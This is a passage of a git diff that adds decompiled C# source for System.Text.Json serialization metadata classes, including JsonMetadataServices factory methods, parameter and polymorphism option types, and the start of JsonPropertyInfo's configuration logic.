return CreateCore(options, collectionInfo, new IDictionaryConverter()); + } + + public static JsonTypeInfo CreateStackInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, Action addFunc) where TCollection : IEnumerable + { + return CreateStackOrQueueInfo(options, collectionInfo, addFunc); + } + + public static JsonTypeInfo CreateQueueInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, Action addFunc) where TCollection : IEnumerable + { + return CreateStackOrQueueInfo(options, collectionInfo, addFunc); + } + + private static JsonTypeInfo CreateStackOrQueueInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, Action addFunc) where TCollection : IEnumerable + { + if (addFunc == null) + { + ThrowHelper.ThrowArgumentNullException("addFunc"); + } + return CreateCore(options, collectionInfo, new StackOrQueueConverter(), null, addFunc); + } + + public static JsonTypeInfo CreateIEnumerableInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IEnumerable + { + return CreateCore(options, collectionInfo, new IEnumerableConverter()); + } + + public static JsonTypeInfo> CreateMemoryInfo(JsonSerializerOptions options, JsonCollectionInfoValues> collectionInfo) + { + return CreateCore>(options, collectionInfo, new MemoryConverter()); + } + + public static JsonTypeInfo> CreateReadOnlyMemoryInfo(JsonSerializerOptions options, JsonCollectionInfoValues> collectionInfo) + { + return CreateCore>(options, collectionInfo, new ReadOnlyMemoryConverter()); + } + + public static JsonConverter GetUnsupportedTypeConverter() + { + return new UnsupportedTypeConverter(); + } + + public static JsonConverter GetEnumConverter(JsonSerializerOptions options) where T : struct, Enum + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + return new EnumConverter(EnumConverterOptions.AllowNumbers, options); + } + + public static JsonConverter GetNullableConverter(JsonTypeInfo underlyingTypeInfo) where T : struct + { + if (underlyingTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("underlyingTypeInfo"); + } + JsonConverter typedConverter = GetTypedConverter(underlyingTypeInfo.Converter); + return new NullableConverter(typedConverter); + } + + public static JsonConverter GetNullableConverter(JsonSerializerOptions options) where T : struct + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + JsonConverter typedConverter = GetTypedConverter(options.GetConverterInternal(typeof(T))); + return new NullableConverter(typedConverter); + } + + internal static JsonConverter GetTypedConverter(JsonConverter converter) + { + JsonConverter jsonConverter = converter as JsonConverter; + if (jsonConverter == null) + { + throw new InvalidOperationException(System.SR.Format(System.SR.SerializationConverterNotCompatible, jsonConverter, typeof(T))); + } + return jsonConverter; + } + + private static JsonTypeInfo CreateCore(JsonConverter converter, JsonSerializerOptions options) + { + JsonTypeInfo jsonTypeInfo = new JsonTypeInfo(converter, options); + jsonTypeInfo.PopulatePolymorphismMetadata(); + jsonTypeInfo.MapInterfaceTypesToCallbacks(); + converter.ConfigureJsonTypeInfo(jsonTypeInfo, options); + return jsonTypeInfo; + } + + private static JsonTypeInfo CreateCore(JsonSerializerOptions options, JsonObjectInfoValues objectInfo) + { + JsonConverter converter = GetConverter(objectInfo); + JsonTypeInfo jsonTypeInfo = new JsonTypeInfo(converter, options); + if (objectInfo.ObjectWithParameterizedConstructorCreator != null) + { + jsonTypeInfo.CreateObjectWithArgs = objectInfo.ObjectWithParameterizedConstructorCreator; + PopulateParameterInfoValues(jsonTypeInfo, objectInfo.ConstructorParameterMetadataInitializer); + } + else + { + jsonTypeInfo.SetCreateObjectIfCompatible(objectInfo.ObjectCreator); + jsonTypeInfo.CreateObjectForExtensionDataProperty = ((JsonTypeInfo)jsonTypeInfo).CreateObject; + } + if (objectInfo.PropertyMetadataInitializer != null) + { + jsonTypeInfo.SourceGenDelayedPropertyInitializer = objectInfo.PropertyMetadataInitializer; + } + else + { + jsonTypeInfo.PropertyMetadataSerializationNotSupported = true; + } + jsonTypeInfo.SerializeHandler = objectInfo.SerializeHandler; + jsonTypeInfo.NumberHandling = objectInfo.NumberHandling; + jsonTypeInfo.PopulatePolymorphismMetadata(); + jsonTypeInfo.MapInterfaceTypesToCallbacks(); + converter.ConfigureJsonTypeInfo(jsonTypeInfo, options); + return jsonTypeInfo; + } + + private static JsonTypeInfo CreateCore(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, JsonConverter converter, object createObjectWithArgs = null, object addFunc = null) + { + if (collectionInfo == null) + { + ThrowHelper.ThrowArgumentNullException("collectionInfo"); + } + converter = ((collectionInfo.SerializeHandler != null) ? new JsonMetadataServicesConverter(converter) : converter); + JsonTypeInfo jsonTypeInfo = new JsonTypeInfo(converter, options); + jsonTypeInfo.KeyTypeInfo = collectionInfo.KeyInfo; + jsonTypeInfo.ElementTypeInfo = collectionInfo.ElementInfo; + jsonTypeInfo.NumberHandling = collectionInfo.NumberHandling; + jsonTypeInfo.SerializeHandler = collectionInfo.SerializeHandler; + jsonTypeInfo.CreateObjectWithArgs = createObjectWithArgs; + jsonTypeInfo.AddMethodDelegate = addFunc; + jsonTypeInfo.SetCreateObjectIfCompatible(collectionInfo.ObjectCreator); + jsonTypeInfo.PopulatePolymorphismMetadata(); + jsonTypeInfo.MapInterfaceTypesToCallbacks(); + converter.ConfigureJsonTypeInfo(jsonTypeInfo, options); + return jsonTypeInfo; + } + + private static JsonConverter GetConverter(JsonObjectInfoValues objectInfo) + { + JsonConverter jsonConverter = ((objectInfo.ObjectWithParameterizedConstructorCreator != null) ? new LargeObjectWithParameterizedConstructorConverter() : new ObjectDefaultConverter()); + if (objectInfo.SerializeHandler == null) + { + return jsonConverter; + } + return new JsonMetadataServicesConverter(jsonConverter); + } + + private static void PopulateParameterInfoValues(JsonTypeInfo typeInfo, Func paramFactory) + { + JsonParameterInfoValues[] array = paramFactory?.Invoke(); + if (array != null) + { + typeInfo.ParameterInfoValues = array; + } + else + { + typeInfo.PropertyMetadataSerializationNotSupported = true; + } + } + + internal static void PopulateProperties(JsonTypeInfo typeInfo, JsonTypeInfo.JsonPropertyInfoList propertyList, Func propInitFunc) + { + JsonSerializerContext arg = typeInfo.Options.TypeInfoResolver as JsonSerializerContext; + JsonPropertyInfo[] array = propInitFunc(arg); + JsonTypeInfo.PropertyHierarchyResolutionState state = new JsonTypeInfo.PropertyHierarchyResolutionState(typeInfo.Options); + JsonPropertyInfo[] array2 = array; + foreach (JsonPropertyInfo jsonPropertyInfo in array2) + { + if (!jsonPropertyInfo.SrcGen_IsPublic) + { + if (jsonPropertyInfo.SrcGen_HasJsonInclude) + { + ThrowHelper.ThrowInvalidOperationException_JsonIncludeOnInaccessibleProperty(jsonPropertyInfo.MemberName, jsonPropertyInfo.DeclaringType); + } + } + else if (jsonPropertyInfo.MemberType != MemberTypes.Field || jsonPropertyInfo.SrcGen_HasJsonInclude || typeInfo.Options.IncludeFields) + { + propertyList.AddPropertyWithConflictResolution(jsonPropertyInfo, ref state); + } + } + if (state.IsPropertyOrderSpecified) + { + propertyList.SortProperties(); + } + } + + private static JsonPropertyInfo CreatePropertyInfoCore(JsonPropertyInfoValues propertyInfoValues, JsonSerializerOptions options) + { + JsonPropertyInfo jsonPropertyInfo = new JsonPropertyInfo(propertyInfoValues.DeclaringType, null, options); + DeterminePropertyName(jsonPropertyInfo, propertyInfoValues.PropertyName, propertyInfoValues.JsonPropertyName); + jsonPropertyInfo.MemberName = propertyInfoValues.PropertyName; + jsonPropertyInfo.MemberType = (propertyInfoValues.IsProperty ? MemberTypes.Property : MemberTypes.Field); + jsonPropertyInfo.SrcGen_IsPublic = propertyInfoValues.IsPublic; + jsonPropertyInfo.SrcGen_HasJsonInclude = propertyInfoValues.HasJsonInclude; + jsonPropertyInfo.IsExtensionData = propertyInfoValues.IsExtensionData; + jsonPropertyInfo.CustomConverter = propertyInfoValues.Converter; + if (jsonPropertyInfo.IgnoreCondition != JsonIgnoreCondition.Always) + { + jsonPropertyInfo.Get = propertyInfoValues.Getter; + jsonPropertyInfo.Set = propertyInfoValues.Setter; + } + jsonPropertyInfo.IgnoreCondition = propertyInfoValues.IgnoreCondition; + jsonPropertyInfo.JsonTypeInfo = propertyInfoValues.PropertyTypeInfo; + jsonPropertyInfo.NumberHandling = propertyInfoValues.NumberHandling; + return jsonPropertyInfo; + } + + private static void DeterminePropertyName(JsonPropertyInfo propertyInfo, string declaredPropertyName, string declaredJsonPropertyName) + { + string text = ((declaredJsonPropertyName != null) ? declaredJsonPropertyName : ((propertyInfo.Options.PropertyNamingPolicy != null) ? propertyInfo.Options.PropertyNamingPolicy.ConvertName(declaredPropertyName) : declaredPropertyName)); + if (text == null) + { + ThrowHelper.ThrowInvalidOperationException_SerializerPropertyNameNull(propertyInfo); + } + propertyInfo.Name = text; + } + + public static JsonPropertyInfo CreatePropertyInfo(JsonSerializerOptions options, JsonPropertyInfoValues propertyInfo) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + if (propertyInfo == null) + { + ThrowHelper.ThrowArgumentNullException("propertyInfo"); + } + Type declaringType = propertyInfo.DeclaringType; + if (declaringType == null) + { + throw new ArgumentException("DeclaringType"); + } + string propertyName = propertyInfo.PropertyName; + if (propertyName == null) + { + throw new ArgumentException("PropertyName"); + } + if (!propertyInfo.IsProperty && propertyInfo.IsVirtual) + { + throw new InvalidOperationException(System.SR.Format(System.SR.FieldCannotBeVirtual, "IsProperty", "IsVirtual")); + } + return CreatePropertyInfoCore(propertyInfo, options); + } + + public static JsonTypeInfo CreateObjectInfo(JsonSerializerOptions options, JsonObjectInfoValues objectInfo) where T : notnull + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + if (objectInfo == null) + { + ThrowHelper.ThrowArgumentNullException("objectInfo"); + } + return CreateCore(options, objectInfo); + } + + public static JsonTypeInfo CreateValueInfo(JsonSerializerOptions options, JsonConverter converter) + { + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + if (converter == null) + { + ThrowHelper.ThrowArgumentNullException("converter"); + } + return CreateCore(converter, options); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonObjectInfoValues.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonObjectInfoValues.cs new file mode 100644 index 0000000..779be65 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonObjectInfoValues.cs @@ -0,0 +1,19 @@ +using System.ComponentModel; + +namespace System.Text.Json.Serialization.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public sealed class JsonObjectInfoValues +{ + public Func? ObjectCreator { get; init; } + + public Func? ObjectWithParameterizedConstructorCreator { get; init; } + + public Func? PropertyMetadataInitializer { get; init; } + + public Func? ConstructorParameterMetadataInitializer { get; init; } + + public JsonNumberHandling NumberHandling { get; init; } + + public Action? SerializeHandler { get; init; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfo.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfo.cs new file mode 100644 index 0000000..d0e401c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfo.cs @@ -0,0 +1,54 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal abstract class JsonParameterInfo +{ + public JsonConverter EffectiveConverter => MatchingProperty.EffectiveConverter; + + public object DefaultValue { get; private protected init; } + + public bool IgnoreNullTokensOnRead { get; } + + public JsonSerializerOptions Options { get; } + + public byte[] NameAsUtf8Bytes { get; } + + public JsonNumberHandling? NumberHandling { get; } + + public int Position { get; } + + public JsonTypeInfo JsonTypeInfo => MatchingProperty.JsonTypeInfo; + + public Type ParameterType { get; } + + public bool ShouldDeserialize { get; } + + public JsonPropertyInfo MatchingProperty { get; } + + public JsonParameterInfo(JsonParameterInfoValues parameterInfoValues, JsonPropertyInfo matchingProperty) + { + MatchingProperty = matchingProperty; + ShouldDeserialize = !matchingProperty.IsIgnored; + Options = matchingProperty.Options; + Position = parameterInfoValues.Position; + ParameterType = matchingProperty.PropertyType; + NameAsUtf8Bytes = matchingProperty.NameAsUtf8Bytes; + IgnoreNullTokensOnRead = matchingProperty.IgnoreNullTokensOnRead; + NumberHandling = matchingProperty.EffectiveNumberHandling; + } +} +internal sealed class JsonParameterInfo : JsonParameterInfo +{ + public new JsonConverter EffectiveConverter => MatchingProperty.EffectiveConverter; + + public new JsonPropertyInfo MatchingProperty { get; } + + public new T DefaultValue { get; } + + public JsonParameterInfo(JsonParameterInfoValues parameterInfoValues, JsonPropertyInfo matchingPropertyInfo) + : base(parameterInfoValues, matchingPropertyInfo) + { + MatchingProperty = matchingPropertyInfo; + DefaultValue = ((parameterInfoValues.HasDefaultValue && parameterInfoValues.DefaultValue != null) ? ((T)parameterInfoValues.DefaultValue) : default(T)); + base.DefaultValue = DefaultValue; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfoValues.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfoValues.cs new file mode 100644 index 0000000..d25ff88 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonParameterInfoValues.cs @@ -0,0 +1,17 @@ +using System.ComponentModel; + +namespace System.Text.Json.Serialization.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public sealed class JsonParameterInfoValues +{ + public string Name { get; init; } + + public Type ParameterType { get; init; } + + public int Position { get; init; } + + public bool HasDefaultValue { get; init; } + + public object? DefaultValue { get; init; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPolymorphismOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPolymorphismOptions.cs new file mode 100644 index 0000000..c86aece --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPolymorphismOptions.cs @@ -0,0 +1,103 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; + +namespace System.Text.Json.Serialization.Metadata; + +public class JsonPolymorphismOptions +{ + private sealed class DerivedTypeList : ConfigurationList + { + private readonly JsonPolymorphismOptions _parent; + + public override bool IsReadOnly => _parent.DeclaringTypeInfo?.IsReadOnly ?? false; + + public DerivedTypeList(JsonPolymorphismOptions parent) + : base((IEnumerable)null) + { + _parent = parent; + } + + protected override void OnCollectionModifying() + { + _parent.DeclaringTypeInfo?.VerifyMutable(); + } + } + + private DerivedTypeList _derivedTypes; + + private bool _ignoreUnrecognizedTypeDiscriminators; + + private JsonUnknownDerivedTypeHandling _unknownDerivedTypeHandling; + + private string _typeDiscriminatorPropertyName; + + public IList DerivedTypes => _derivedTypes ?? (_derivedTypes = new DerivedTypeList(this)); + + public bool IgnoreUnrecognizedTypeDiscriminators + { + get + { + return _ignoreUnrecognizedTypeDiscriminators; + } + set + { + VerifyMutable(); + _ignoreUnrecognizedTypeDiscriminators = value; + } + } + + public JsonUnknownDerivedTypeHandling UnknownDerivedTypeHandling + { + get + { + return _unknownDerivedTypeHandling; + } + set + { + VerifyMutable(); + _unknownDerivedTypeHandling = value; + } + } + + public string TypeDiscriminatorPropertyName + { + get + { + return _typeDiscriminatorPropertyName ?? "$type"; + } + [param: AllowNull] + set + { + VerifyMutable(); + _typeDiscriminatorPropertyName = value; + } + } + + internal JsonTypeInfo? DeclaringTypeInfo { get; set; } + + private void VerifyMutable() + { + DeclaringTypeInfo?.VerifyMutable(); + } + + internal static JsonPolymorphismOptions CreateFromAttributeDeclarations(Type baseType) + { + JsonPolymorphismOptions jsonPolymorphismOptions = null; + JsonPolymorphicAttribute customAttribute = baseType.GetCustomAttribute(inherit: false); + if (customAttribute != null) + { + jsonPolymorphismOptions = new JsonPolymorphismOptions + { + IgnoreUnrecognizedTypeDiscriminators = customAttribute.IgnoreUnrecognizedTypeDiscriminators, + UnknownDerivedTypeHandling = customAttribute.UnknownDerivedTypeHandling, + TypeDiscriminatorPropertyName = customAttribute.TypeDiscriminatorPropertyName + }; + } + foreach (JsonDerivedTypeAttribute customAttribute2 in baseType.GetCustomAttributes(inherit: false)) + { + (jsonPolymorphismOptions ?? (jsonPolymorphismOptions = new JsonPolymorphismOptions())).DerivedTypes.Add(new JsonDerivedType(customAttribute2.DerivedType, customAttribute2.TypeDiscriminator)); + } + return jsonPolymorphismOptions; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfo.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfo.cs new file mode 100644 index 0000000..264fac1 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonPropertyInfo.cs @@ -0,0 +1,991 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; + +namespace System.Text.Json.Serialization.Metadata; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public abstract class JsonPropertyInfo +{ + internal static readonly JsonPropertyInfo s_missingProperty = GetPropertyPlaceholder(); + + private protected JsonConverter _effectiveConverter; + + private JsonConverter _customConverter; + + private protected Func _untypedGet; + + private protected Action _untypedSet; + + private bool _isUserSpecifiedSetter; + + private protected Func _shouldSerialize; + + private bool _isUserSpecifiedShouldSerialize; + + private JsonIgnoreCondition? _ignoreCondition; + + private JsonObjectCreationHandling? _objectCreationHandling; + + private ICustomAttributeProvider _attributeProvider; + + private bool _isExtensionDataProperty; + + private bool _isRequired; + + private string _name; + + private int _order; + + private JsonTypeInfo _jsonTypeInfo; + + private JsonNumberHandling? _numberHandling; + + private int _index; + + internal JsonTypeInfo? ParentTypeInfo { get; private set; } + + internal JsonConverter EffectiveConverter => _effectiveConverter; + + public JsonConverter? CustomConverter + { + get + { + return _customConverter; + } + set + { + VerifyMutable(); + _customConverter = value; + } + } + + public Func? Get + { + get + { + return _untypedGet; + } + set + { + VerifyMutable(); + SetGetter(value); + } + } + + public Action? Set + { + get + { + return _untypedSet; + } + set + { + VerifyMutable(); + SetSetter(value); + _isUserSpecifiedSetter = true; + } + } + + public Func? ShouldSerialize + { + get + { + return _shouldSerialize; + } + set + { + VerifyMutable(); + SetShouldSerialize(value); + _isUserSpecifiedShouldSerialize = true; + IgnoreDefaultValuesOnWrite = false; + } + } + + internal JsonIgnoreCondition? IgnoreCondition + { + get + { + return _ignoreCondition; + } + set + { + ConfigureIgnoreCondition(value); + _ignoreCondition = value; + } + } + + public ICustomAttributeProvider? AttributeProvider + { + get + { + return _attributeProvider; + } + set + { + VerifyMutable(); + _attributeProvider = value; + } + } + + internal JsonObjectCreationHandling EffectiveObjectCreationHandling { get; private set; } + + public JsonObjectCreationHandling? ObjectCreationHandling + { + get + { + return _objectCreationHandling; + } + set + { + VerifyMutable(); + if (value.HasValue && !JsonSerializer.IsValidCreationHandlingValue(value.Value)) + { + throw new ArgumentOutOfRangeException("value"); + } + _objectCreationHandling = value; + } + } + + internal string? MemberName { get; set; } + + internal MemberTypes MemberType { get; set; } + + internal bool IsVirtual { get; set; } + + public bool IsExtensionData + { + get + { + return _isExtensionDataProperty; + } + set + { + VerifyMutable(); + if (value && !System.Text.Json.Serialization.Metadata.JsonTypeInfo.IsValidExtensionDataProperty(PropertyType)) + { + ThrowHelper.ThrowInvalidOperationException_SerializationDataExtensionPropertyInvalid(this); + } + _isExtensionDataProperty = value; + } + } + + public bool IsRequired + { + get + { + return _isRequired; + } + set + { + VerifyMutable(); + _isRequired = value; + } + } + + public Type PropertyType { get; } + + internal bool IsConfigured { get; private set; } + + internal bool HasGetter => _untypedGet != null; + + internal bool HasSetter => _untypedSet != null; + + internal bool IgnoreNullTokensOnRead { get; private protected set; } + + internal bool IgnoreDefaultValuesOnWrite { get; private protected set; } + + internal bool IgnoreReadOnlyMember => MemberType switch + { + MemberTypes.Property => Options.IgnoreReadOnlyProperties, + MemberTypes.Field => Options.IgnoreReadOnlyFields, + _ => false, + }; + + internal bool IsForTypeInfo { get; set; } + + public string Name + { + get + { + return _name; + } + set + { + VerifyMutable(); + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + _name = value; + } + } + + internal byte[] NameAsUtf8Bytes { get; set; } + + internal byte[] EscapedNameSection { get; set; } + + public JsonSerializerOptions Options { get; } + + public int Order + { + get + { + return _order; + } + set + { + VerifyMutable(); + _order = value; + } + } + + internal Type DeclaringType { get; } + + internal JsonTypeInfo JsonTypeInfo + { + get + { + JsonTypeInfo jsonTypeInfo = _jsonTypeInfo; + jsonTypeInfo.EnsureConfigured(); + return jsonTypeInfo; + } + set + { + _jsonTypeInfo = value; + } + } + + internal bool IsPropertyTypeInfoConfigured => _jsonTypeInfo?.IsConfigured ?? false; + + internal bool IsIgnored + { + get + { + JsonIgnoreCondition? ignoreCondition = _ignoreCondition; + if (ignoreCondition.HasValue && ignoreCondition == JsonIgnoreCondition.Always && Get == null) + { + return Set == null; + } + return false; + } + } + + internal bool CanSerialize { get; private set; } + + internal bool CanDeserialize { get; private set; } + + internal bool CanDeserializeOrPopulate { get; private set; } + + internal bool SrcGen_HasJsonInclude { get; set; } + + internal bool SrcGen_IsPublic { get; set; } + + public JsonNumberHandling? NumberHandling + { + get + { + return _numberHandling; + } + set + { + VerifyMutable(); + _numberHandling = value; + } + } + + internal JsonNumberHandling? EffectiveNumberHandling { get; set; } + + internal abstract bool PropertyTypeCanBeNull { get; } + + internal abstract object? DefaultValue { get; } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + internal int RequiredPropertyIndex + { + get + { + return _index; + } + set + { + _index = value; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"Name = {Name}, PropertyType = {PropertyType}"; + + private protected abstract void SetGetter(Delegate getter); + + private protected abstract void SetSetter(Delegate setter); + + private protected abstract void SetShouldSerialize(Delegate predicate); + + private protected abstract void ConfigureIgnoreCondition(JsonIgnoreCondition? ignoreCondition); + + internal JsonPropertyInfo(Type declaringType, Type propertyType, JsonTypeInfo declaringTypeInfo, JsonSerializerOptions options) + { + DeclaringType = declaringType; + PropertyType = propertyType; + ParentTypeInfo = declaringTypeInfo; + Options = options; + } + + internal static JsonPropertyInfo GetPropertyPlaceholder() + { + JsonPropertyInfo jsonPropertyInfo = new JsonPropertyInfo(typeof(object), null, null); + jsonPropertyInfo.Name = string.Empty; + return jsonPropertyInfo; + } + + private protected void VerifyMutable() + { + ParentTypeInfo?.VerifyMutable(); + } + + internal void Configure() + { + if (IsIgnored) + { + CanSerialize = false; + CanDeserialize = false; + } + else + { + if (_jsonTypeInfo == null) + { + _jsonTypeInfo = Options.GetTypeInfoInternal(PropertyType, ensureConfigured: true, true); + } + _jsonTypeInfo.EnsureConfigured(); + DetermineEffectiveConverter(_jsonTypeInfo); + DetermineNumberHandlingForProperty(); + DetermineEffectiveObjectCreationHandlingForProperty(); + DetermineSerializationCapabilities(); + DetermineIgnoreCondition(); + } + if (IsForTypeInfo) + { + DetermineNumberHandlingForTypeInfo(); + } + else + { + CacheNameAsUtf8BytesAndEscapedNameSection(); + } + if (IsRequired) + { + if (!CanDeserialize) + { + ThrowHelper.ThrowInvalidOperationException_JsonPropertyRequiredAndNotDeserializable(this); + } + if (IsExtensionData) + { + ThrowHelper.ThrowInvalidOperationException_JsonPropertyRequiredAndExtensionData(this); + } + } + IsConfigured = true; + } + + private protected abstract void DetermineEffectiveConverter(JsonTypeInfo jsonTypeInfo); + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal abstract void DetermineReflectionPropertyAccessors(MemberInfo memberInfo, bool useNonPublicAccessors); + + private void CacheNameAsUtf8BytesAndEscapedNameSection() + { + NameAsUtf8Bytes = Encoding.UTF8.GetBytes(Name); + EscapedNameSection = JsonHelpers.GetEscapedPropertyNameSection(NameAsUtf8Bytes, Options.Encoder); + } + + private void DetermineIgnoreCondition() + { + if (_ignoreCondition.HasValue) + { + return; + } + if (Options.IgnoreNullValues) + { + if (PropertyTypeCanBeNull) + { + IgnoreNullTokensOnRead = !_isUserSpecifiedSetter && !IsRequired; + IgnoreDefaultValuesOnWrite = ShouldSerialize == null; + } + } + else if (Options.DefaultIgnoreCondition == JsonIgnoreCondition.WhenWritingNull) + { + if (PropertyTypeCanBeNull) + { + IgnoreDefaultValuesOnWrite = ShouldSerialize == null; + } + } + else if (Options.DefaultIgnoreCondition == JsonIgnoreCondition.WhenWritingDefault) + { + IgnoreDefaultValuesOnWrite = ShouldSerialize == null; + } + } + + private void DetermineSerializationCapabilities() + { + CanSerialize = HasGetter; + CanDeserialize = HasSetter; + if (MemberType == (MemberTypes)0 || _ignoreCondition.HasValue) + { + CanDeserializeOrPopulate = CanDeserialize || EffectiveObjectCreationHandling == JsonObjectCreationHandling.Populate; + return; + } + if ((EffectiveConverter.ConverterStrategy & (ConverterStrategy)24) != ConverterStrategy.None) + { + if (Get == null && Set != null && !_isUserSpecifiedSetter) + { + CanDeserialize = false; + } + } + else if (Get != null && Set == null && IgnoreReadOnlyMember && !_isUserSpecifiedShouldSerialize) + { + CanSerialize = false; + } + CanDeserializeOrPopulate = CanDeserialize || EffectiveObjectCreationHandling == JsonObjectCreationHandling.Populate; + } + + private void DetermineNumberHandlingForTypeInfo() + { + JsonNumberHandling? numberHandling = ParentTypeInfo.NumberHandling; + if (numberHandling.HasValue && numberHandling != JsonNumberHandling.Strict && !EffectiveConverter.IsInternalConverter) + { + ThrowHelper.ThrowInvalidOperationException_NumberHandlingOnPropertyInvalid(this); + } + if (NumberHandingIsApplicable()) + { + EffectiveNumberHandling = numberHandling; + if (!EffectiveNumberHandling.HasValue && Options.NumberHandling != JsonNumberHandling.Strict) + { + EffectiveNumberHandling = Options.NumberHandling; + } + } + } + + private void DetermineNumberHandlingForProperty() + { + if (NumberHandingIsApplicable()) + { + JsonNumberHandling? effectiveNumberHandling = NumberHandling ?? ParentTypeInfo.NumberHandling ?? _jsonTypeInfo.NumberHandling; + if (!effectiveNumberHandling.HasValue && Options.NumberHandling != JsonNumberHandling.Strict) + { + effectiveNumberHandling = Options.NumberHandling; + } + EffectiveNumberHandling = effectiveNumberHandling; + } + else if (NumberHandling.HasValue && NumberHandling != JsonNumberHandling.Strict) + { + ThrowHelper.ThrowInvalidOperationException_NumberHandlingOnPropertyInvalid(this); + } + } + + private void DetermineEffectiveObjectCreationHandlingForProperty() + { + JsonObjectCreationHandling jsonObjectCreationHandling = JsonObjectCreationHandling.Replace; + if (!ObjectCreationHandling.HasValue) + { + JsonObjectCreationHandling jsonObjectCreationHandling2 = ParentTypeInfo.PreferredPropertyObjectCreationHandling ?? ((!ParentTypeInfo.DetermineUsesParameterizedConstructor()) ? Options.PreferredObjectCreationHandling : JsonObjectCreationHandling.Replace); + jsonObjectCreationHandling = ((jsonObjectCreationHandling2 == JsonObjectCreationHandling.Populate && EffectiveConverter.CanPopulate && Get != null && (!PropertyType.IsValueType || Set != null) && !ParentTypeInfo.SupportsPolymorphicDeserialization && (Set != null || !IgnoreReadOnlyMember)) ? JsonObjectCreationHandling.Populate : JsonObjectCreationHandling.Replace); + } + else if (ObjectCreationHandling == JsonObjectCreationHandling.Populate) + { + if (!EffectiveConverter.CanPopulate) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPopulateNotSupportedByConverter(this); + } + if (Get == null) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPropertyMustHaveAGetter(this); + } + if (PropertyType.IsValueType && Set == null) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPropertyValueTypeMustHaveASetter(this); + } + if (JsonTypeInfo.SupportsPolymorphicDeserialization) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowPolymorphicDeserialization(this); + } + if (Set == null && IgnoreReadOnlyMember) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowReadOnlyMember(this); + } + jsonObjectCreationHandling = JsonObjectCreationHandling.Populate; + } + if (jsonObjectCreationHandling == JsonObjectCreationHandling.Populate) + { + if (ParentTypeInfo.DetermineUsesParameterizedConstructor()) + { + ThrowHelper.ThrowNotSupportedException_ObjectCreationHandlingPropertyDoesNotSupportParameterizedConstructors(); + } + if (Options.ReferenceHandlingStrategy != ReferenceHandlingStrategy.None) + { + ThrowHelper.ThrowInvalidOperationException_ObjectCreationHandlingPropertyCannotAllowReferenceHandling(); + } + } + EffectiveObjectCreationHandling = jsonObjectCreationHandling; + } + + private bool NumberHandingIsApplicable() + { + if (EffectiveConverter.IsInternalConverterForNumberType) + { + return true; + } + Type type = ((EffectiveConverter.IsInternalConverter && ((ConverterStrategy)24 & EffectiveConverter.ConverterStrategy) != ConverterStrategy.None) ? EffectiveConverter.ElementType : PropertyType); + type = Nullable.GetUnderlyingType(type) ?? type; + if (!(type == typeof(byte)) && !(type == typeof(decimal)) && !(type == typeof(double)) && !(type == typeof(short)) && !(type == typeof(int)) && !(type == typeof(long)) && !(type == typeof(sbyte)) && !(type == typeof(float)) && !(type == typeof(ushort)) && !(type == typeof(uint)) && !(type == typeof(ulong))) + { + return type == System.Text.Json.Serialization.Metadata.JsonTypeInfo.ObjectType; + } + return true; + } + + internal abstract JsonParameterInfo CreateJsonParameterInfo(JsonParameterInfoValues parameterInfoValues); + + internal abstract bool GetMemberAndWriteJson(object obj, ref WriteStack state, Utf8JsonWriter writer); + + internal abstract bool GetMemberAndWriteJsonExtensionData(object obj, ref WriteStack state, Utf8JsonWriter writer); + + internal 